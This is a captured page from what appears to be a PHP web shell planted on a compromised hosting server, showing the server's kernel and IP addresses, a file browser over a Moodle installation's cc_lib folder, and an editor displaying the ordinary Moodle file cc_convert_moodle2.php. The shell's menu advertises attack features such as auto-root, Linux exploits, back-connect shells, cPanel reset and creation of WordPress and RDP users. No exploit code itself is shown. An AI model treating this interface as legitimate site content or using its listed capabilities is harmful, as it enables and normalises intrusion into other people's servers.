Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
backup /
cc /
cc_lib /
[ HOME SHELL ]
Name
Size
Permission
Action
gral_lib
[ DIR ]
drwxr-xr-x
cc_assesment_essay.php
3.12
KB
-rw-r--r--
cc_assesment_sfib.php
8.61
KB
-rw-r--r--
cc_assesment_truefalse.php
9.09
KB
-rw-r--r--
cc_asssesment.php
91.74
KB
-rw-r--r--
cc_basiclti.php
7.93
KB
-rw-r--r--
cc_builder_creator.php
1.33
KB
-rw-r--r--
cc_convert_moodle2.php
8.31
KB
-rw-r--r--
cc_converter_basiclti.php
1.97
KB
-rw-r--r--
cc_converter_folder.php
1.69
KB
-rw-r--r--
cc_converter_forum.php
2.33
KB
-rw-r--r--
cc_converter_label.php
1.4
KB
-rw-r--r--
cc_converter_lti.php
2.17
KB
-rw-r--r--
cc_converter_page.php
2.42
KB
-rw-r--r--
cc_converter_quiz.php
3.96
KB
-rw-r--r--
cc_converter_resource.php
2.17
KB
-rw-r--r--
cc_converter_url.php
2.27
KB
-rw-r--r--
cc_converters.php
4.2
KB
-rw-r--r--
cc_forum.php
3.59
KB
-rw-r--r--
cc_general.php
2.44
KB
-rw-r--r--
cc_interfaces.php
2.98
KB
-rw-r--r--
cc_manifest.php
11.76
KB
-rw-r--r--
cc_metadata.php
6.57
KB
-rw-r--r--
cc_metadata_file.php
1.48
KB
-rw-r--r--
cc_metadata_resource.php
1.51
KB
-rw-r--r--
cc_organization.php
8.32
KB
-rw-r--r--
cc_page.php
4.67
KB
-rw-r--r--
cc_resources.php
8.05
KB
-rw-r--r--
cc_utils.php
14.99
KB
-rw-r--r--
cc_version1.php
20.59
KB
-rw-r--r--
cc_version11.php
5.15
KB
-rw-r--r--
cc_version_base.php
4.43
KB
-rw-r--r--
cc_weblink.php
3.52
KB
-rw-r--r--
xmlbase.php
11.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cc_convert_moodle2.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @package backup-convert * @subpackage cc-library * @copyright 2011 Darko Miletic <dmiletic@moodlerooms.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ if (!extension_loaded('fileinfo')) { die('You must install fileinfo extension!'); } abstract class cc_convert_moodle2 { /** * * Enter description here ... * @param unknown_type $packagedir * @param unknown_type $outdir * @throws DOMException * @throws InvalidArgumentException */ public static function convert($packagedir, $outdir) { $dir = realpath($packagedir); if (empty($dir)) { throw new InvalidArgumentException('Directory does not exist!'); } $odir = realpath($outdir); if (empty($odir)) { throw new InvalidArgumentException('Directory does not exist!'); } $coursefile = $dir.DIRECTORY_SEPARATOR.'course'.DIRECTORY_SEPARATOR.'course.xml'; $doc = new XMLGenericDocument(); if ($doc->load($coursefile)) { $course_name = $doc->nodeValue('/course/fullname'); $course_desc = $doc->nodeValue('/course/summary'); $course_language = $doc->nodeValue('/course/lang'); $course_language = empty($course_language) ? 'en' : $course_language; $course_category = $doc->nodeValue('/course/category/name'); //Initialize the manifest metadata class $meta = new cc_metadata_manifest(); //Package metadata $metageneral = new cc_metadata_general(); $metageneral->set_language($course_language); $metageneral->set_title($course_name, $course_language); $metageneral->set_description($course_desc, $course_language); $metageneral->set_catalog('category'); $metageneral->set_entry($course_category); $meta->add_metadata_general($metageneral); // Create the manifest $manifest = new cc_manifest(cc_version::v11); $manifest->add_metadata_manifest($meta); $organization = null; //Package structure - default organization and resources //Get the course structure - this will be transformed into organization //Step 1 - Get the list and order of sections/topics $moodle_backup = $dir . DIRECTORY_SEPARATOR . 'moodle_backup.xml'; $secp = new XMLGenericDocument(); $docp = new XMLGenericDocument(); if ($docp->load($moodle_backup)) { //sections $sections = array(); $coursef = new XMLGenericDocument(); $course_file = $dir . DIRECTORY_SEPARATOR .'course' . DIRECTORY_SEPARATOR . 'course.xml'; $coursef->load($course_file); //$numsections = (int)$coursef->nodeValue('/course/numsections'); // TODO MDL-35781, this is commented because numsections is now optional attribute $section_list = $docp->nodeList('/moodle_backup/information/contents/sections/section'); if (!empty($section_list)) { $count = 0; foreach ($section_list as $node) { //if ($count > $numsections) { // break; //} $sectionid = $docp->nodeValue('sectionid', $node); $sectiontitle = $docp->nodeValue('title' , $node); $sectionpath = $docp->nodeValue('directory', $node); $sequence = array(); //Get section stuff $section_file = $dir . DIRECTORY_SEPARATOR . $sectionpath . DIRECTORY_SEPARATOR . 'section.xml'; if ($secp->load($section_file)) { $rawvalue = $secp->nodeValue('/section/sequence'); if ($rawvalue != '$@NULL@$') { $sequence = explode(',', $rawvalue); } } $sections[$sectionid] = array($sectiontitle, $sequence); $count++; } } //organization title $organization = new cc_organization(); //Add section/topic items foreach ($sections as $sectionid => $values) { $item = new cc_item(); $item->title = $values[0]; self::process_sequence($item, $manifest, $values[1], $dir, $odir); $organization->add_item($item); } $manifest->put_nodes(); } if (!empty($organization)) { $manifest->add_new_organization($organization); } $manifestpath = $outdir.DIRECTORY_SEPARATOR.'imsmanifest.xml'; $manifest->saveTo($manifestpath); } } /** * * Process the activites and create item structure * @param cc_i_item $item * @param array $sequence * @param string $packageroot - directory path * @throws DOMException */ protected static function process_sequence(cc_i_item &$item, cc_i_manifest &$manifest, array $sequence, $packageroot, $outdir) { $moodle_backup = $packageroot . DIRECTORY_SEPARATOR . 'moodle_backup.xml'; $doc = new XMLGenericDocument(); if(!$doc->load($moodle_backup)) { return; } $activities = $doc->nodeList('/moodle_backup/information/contents/activities/activity'); if (!empty($activities)) { $dpp = new XMLGenericDocument(); foreach ($activities as $activity) { $moduleid = $doc->nodeValue('moduleid', $activity); if (in_array($moduleid, $sequence)) { //detect activity type $directory = $doc->nodeValue('directory', $activity); $path = $packageroot . DIRECTORY_SEPARATOR . $directory; $module_file = $path . DIRECTORY_SEPARATOR . 'module.xml'; if ($dpp->load($module_file)) { $activity_type = $dpp->nodeValue('/module/modulename'); $activity_indentation = $dpp->nodeValue('/module/indent'); $aitem = self::item_indenter($item, $activity_indentation); $caller = "cc_converter_{$activity_type}"; if (class_exists($caller)) { $obj = new $caller($aitem, $manifest, $packageroot, $path); if (!$obj->convert($outdir)) { throw new RuntimeException("failed to convert {$activity_type}"); } } } } } } } protected static function item_indenter(cc_i_item &$item, $level = 0) { $indent = (int)$level; $indent = ($indent) <= 0 ? 0 : $indent; $nprev = null; $nfirst = null; for ($pos = 0, $size = $indent; $pos < $size; $pos++) { $nitem = new cc_item(); $nitem->title = ''; if (empty($nfirst)) { $nfirst = $nitem; } if (!empty($nprev)) { $nprev->add_child_item($nitem); } $nprev = $nitem; } $result = $item; if (!empty($nfirst)) { $item->add_child_item($nfirst); $result = $nprev; } return $result; } }
Close